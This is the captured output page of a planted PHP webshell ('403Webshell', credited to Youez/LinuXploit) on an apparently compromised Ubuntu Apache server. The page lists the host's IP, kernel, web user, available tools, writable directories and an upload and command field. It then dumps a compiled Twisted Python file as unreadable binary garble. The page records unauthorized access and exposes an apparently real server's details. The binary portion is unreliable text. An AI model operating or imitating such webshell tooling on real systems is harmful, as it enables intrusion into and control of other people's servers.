403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/twisted/web/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/web/__pycache__/html.cpython-312.pyc
�

Ϫ�f���dZddlmZddlmZddlmZddlmZddl	m
Z
e
eddd	d�d
��d��Ze
eddd	d�d
��d
��Ze
eddd	d�d
��d��Z
e
eddd	d�d
��d��Zy)z I hold HTML generation helpers.
���escape)�StringIO)�Version)�log)�
deprecated�Twisted��ztwisted.web.template)�replacementc�$�dt|�zdzS)z4Wrap <pre> tags around some text and HTML-escape it.z<pre>z</pre>r)�texts �2/usr/lib/python3/dist-packages/twisted/web/html.py�PRErs���V�D�\�!�H�,�,�c��t�}|jd�|D]}|jd|z��|jd�|j�S)N�<ul>
z
<li> %s</li>
�</ul>�r�write�getvalue)�lst�io�els   r�ULrsN��	��B��H�H�X���(��
���!�B�&�'�(��H�H�W��
�;�;�=�rc��t�}|jd�|D]\}}|jd|�d|�d���|jd�|j�S)Nrz<li> <a href="z">z
</a></li>
rr)rr�hrrs    r�linkListr"s[��	��B��H�H�X���9���B�
���>�"��R��t�;�7�8�9��H�H�W��
�;�;�=�rc��	||i|��S#t$r;tjd|�d��tj�t	d�cYSwxYw)z�output(func, *args, **kw) -> html string
    Either return the result of a function (which presumably returns an
    HTML-legal string) or a sparse HTMLized error message and a message
    in the server log.
    zError calling �:zAn error occurred.)�
BaseExceptionr�msg�errr)�func�args�kws   r�outputr',sP��)��T� �R� � ���)����.����*�+����	��'�(�(�)�s�
�AA�
AN)�__doc__�htmlrrr�incrementalr�twisted.pythonr�twisted.python.deprecaterrrrr'�rr�<module>r.s��������/��G�I�r�1�a�(�6L�M�-�N�-�
�G�I�r�1�a�(�6L�M��N���G�I�r�1�a�(�6L�M��N���G�I�r�1�a�(�6L�M�)�N�)r

Youez - 2016 - github.com/yon3zu
LinuXploit